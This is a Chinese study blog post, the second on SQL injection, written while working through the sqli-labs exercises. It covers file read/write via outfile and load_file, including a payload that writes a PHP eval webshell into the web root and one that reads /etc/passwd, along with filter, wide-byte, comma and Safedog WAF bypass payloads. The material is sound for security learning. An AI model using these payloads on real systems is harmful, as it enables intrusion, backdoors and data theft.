SQL注入(二)
前言
在SQL注入的继续学习中,和sqli-labs的刷题,再次总结一部分SQL注入知识点。
接着上次的POST的类注入,其实和GET方式的差不多,本质上是没什么区别,无非方法就是六种:
联合注入、报错注入、布尔注入、睡眠注入、堆叠注入、DNSlog外带注入。
基本方法都在前面学习过了,后面主要是waf与各种过滤了。
文件读写
其实这个方法在DNSlog外带中使用过了。outfile、dumpfile、load_file三个函数是在mysql注入中的文件读写功能。在使用这三个函数时有个前提,是在mysql.ini配置文件中有secure_file_priv,如果没有我们需要添加。作下解释:
secure_file_prive=null ––限制mysqld 不允许导入导出
secure_file_priv=/path/ – –限制mysqld的导入导出只能发生在默认的/path/目录下
secure_file_priv=”” – –不对mysqld 的导入 导出做限制
当然只有本地我们才能看到配置文件是否开启,我们在实战中可以尝试使用**@@datadir函数查看MySql存放数据文件的目录,也就是,mysql的data目录路径**
@@secure_file_priv函数查看权限
我这里主要讲解load_file()和outfile。outfile是在sq注入中唯一能够获得权限的办法,因为这个写入文件是可以写进一句话木马,以及查询语句的。
给出一段payload:
?id=1’ union select 1,database(),'<?php @eval($_POST[1]);?>' into outfile ‘D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php’ –+
我在这里写的是一个绝对路径,也可以写相对路径,相对路径是根据前面我们查出来的路径写的,就是上面的图。绝对路径更方便让我们访问,因为我们需要web路径才能方便去访问。
然后再是load_file():
?id=1’ union select 1,2,load_file("/etc/passwd")– -
这段payload就是让我们去读取文件,也是可以用绝对路径和相对路径,读取文件当然也是绝对路径好用。
如果对于不好找的web路径,我们可以一起使用这两个函数进行相对路径的写入与读取,也算是一种方法。
对于文件读写一般在实战中很难遇到,毕竟对数据库有很大的危害,甚至能拿到权限。
or和and的绕过
这是我们在判断数字型还是字符型经常会用到的两个函数,被过滤时一般有几种情况,
比如替换函数的过滤,我们可以采用多写绕过,看替换函数执行几次,我们有时候一次是绕过不了的,可以进行多次重写。
如果正则匹配不严格没有区分大小写,我们可以用大小写进行绕过。
还有一种就是用逻辑符号去替换这两个函数:
空格和注释符的绕过
一般来说我们可以用编码去绕过,还有+号:
mysql空白符:%09; %0A; %0B; %0D; %20;
用的最多的一般来说也就是+和%0a了。然后还可以采用/**/进行绕过。在绕过waf的时候发现其实内联注释和内联执行也是可以绕过的。例如/*//*/ /*!–+*/ 添加一些脏数据可能可以绕过去。
对于一些空格的绕过,我们还可以采用()的方法去避免使用空格。比如select(database())
再就是注释符的绕过,一般来说我们有– - –+ # %23
如果被过滤了的话我们可以采用最原始的方法,去闭合后面的语句,有时候可能会报错我们可以加一些逻辑符号让后面的语句变得合理|| &&,然后也要注意不仅仅是添加单引号和双引号,要注意具体语句的逻辑,可能要补括号。
还有就是可以采用截断的方法;%00终止这一个语句。
union和select的绕过
对于这些关键字的绕过,其实和前面的有点类似,还是替换函数与正则匹配,所以我们可以采用大小写的方法和多次重写的方法去绕过,在sqli-labs里面就有一关,union重写一次,select重写两次就可以达到绕过的目的。再就是内联执行了。
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
还有加号去拼接;
or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )
还有使用语法新特性绕过屏蔽select具体可以参考文章:https://blog.csdn.net/aloneBUThappy/article/details/122047088
宽字节绕过
addslashes()
是 PHP 中用于转义字符串中的特殊字符的函数之一。它会在指定的预定义字符(单引号、双引号、反斜线和 NULL字符)前面添加反斜杠,以防止这些字符被误解为代码注入或其他意外操作,也是很严格的防御了SQL注入。
原理就是利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜杠的转义机制,也就是添上一个字符与它给出的转义字符结合为汉字,并使得单引号逃逸,实现对数据库查询语句的篡改。
西欧字母符号,通过1个字节来表示。东亚字符通过至少两个字节来表示。GBK编码就是用两个字节来表示中文区字符的一个编码标准。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE(高字节从81到FE,低字节从40到FE),剔除xx7F码位,共23940个码位。
条件
后台使用GBK编码的时候,存在着看不见的ascii码转换为GBK编码的转换过程,可以使用宽字节注入。
原理
编码转换存在着单字符被合并的情形
反斜杠对应url编码%5c,是单字节的。
在%5c前再加入一个单字节字符%dd(范围可以是81到FE之间),就成了%dd%5c
而当后端使用GBK编码的时候,会将合理的两个单字节ASCII字符解析成一个双字节的GBK编码字符
参考文章:https://blog.csdn.net/weixin_43819747/article/details/136391897
逗号过滤
首先我们来看这样的一个语句
这个语句的意思是,查询u中的所有(u.*)和e中的所有(e.*),从users和emails中,然后给它们两个重命名u和e,然后限定条件,它们两个的id相同的条件。
我们就可以得到字段的数据。然后这里用到了逗号,我们可以使用join函数来进行绕过,避免使用逗号。
这两句话是同样的效果。至于为什么相等,我们就来说说join的本来用法。
这是一个join的语句,这里我们还没有用on去限制条件,它让join左边的表中的每一个元素都与右边的对比一次。
可以看到这里users中的第一行与emails中的对应,然后当我们增加了条件id相同,也就和前面的语句一样的效果了。
然后我们平常用到的 union select 1,2,3等价于join的一个语句:
union select * from (select 1)a join (select 2)b join (select 3)c;
一般的payload。
想了解更深的可以参考:
https://www.cnblogs.com/ChrisMurphy/p/5051664.html
https://blog.csdn.net/qq_31620591/article/details/117067799
安全狗的绕过
对于waf的绕过还是需要不断去测的,这里提供可能能够绕过的方法,因为waf也在不断更新。
/*//*//*//*/ –> 其实是两个内联注释组合
/*%0axxxx*/ –> %0a在前面也提到过了,是一个tab的代替键也是算可以当空格使用的,这里有时候也可以进行绕过一些关键字的过滤
/*!11440xxxx*/ –> 内联执行,mysql中的特殊语法,只可以执行里面的命令的,然后11440是一个版本号
/*!/*//*/*/ –> 算是多层嵌套,将前面的几种方法组合也可能能进行绕过。
from/*!–+*//*%0ainformation_schema./*!schemata*/– - –> 一个具体的绕过例子,也可以直接复制粘贴尝试一下。
下面是可能有效的办法。
大小写
双写
%0a
;00
;%00
wtf-int
+
json_arrayagg等替换函数
切片、脏字符
这里解释一下切片的方法,利用我们bp里面的插件将数据包以多个发送,下面是例子。
这是一个chunked的协议,一段编码。具体了解可以参考:https://blog.csdn.net/yeyiqun/article/details/99311072
可以看出每一段编码的下面有一个或者几个字母,并不是一起发送的,有时候我们也可以用这种方式绕过。
上面的绕过方法不是通用的要看具体的环境才行。
安全狗补充:
对于多个关键词连在一起就会报错的,我们可以考虑使用一种换行的办法,这里我们那union select举例,假设它们不能同时出现,我们可以尝试用union–+b%0Aselect 这里有个注释,然后后面有个字符,有个换行,它在计算机眼中,union的后面是个a,但其实我们知道,a被注释掉了,给出样式。
union –+ a
select
这样也就可以达成绕过的目的。
然后再就是一些替换函数:
还有一个是用到了join去绕过,在3.5的版本中的无列名报错注入。这里就不再介绍join函数了。我们直接讲payload。
我们可以利用using这个函数报错得到列名。using是一个简化连接函数。
具体函数解析:https://blog.csdn.net/shadow_zed/article/details/89083383
我们利用这个函数去连接得到的username,它会把password爆出来。
接着去爆。
发现最后没有报错了,也就得到所有的了。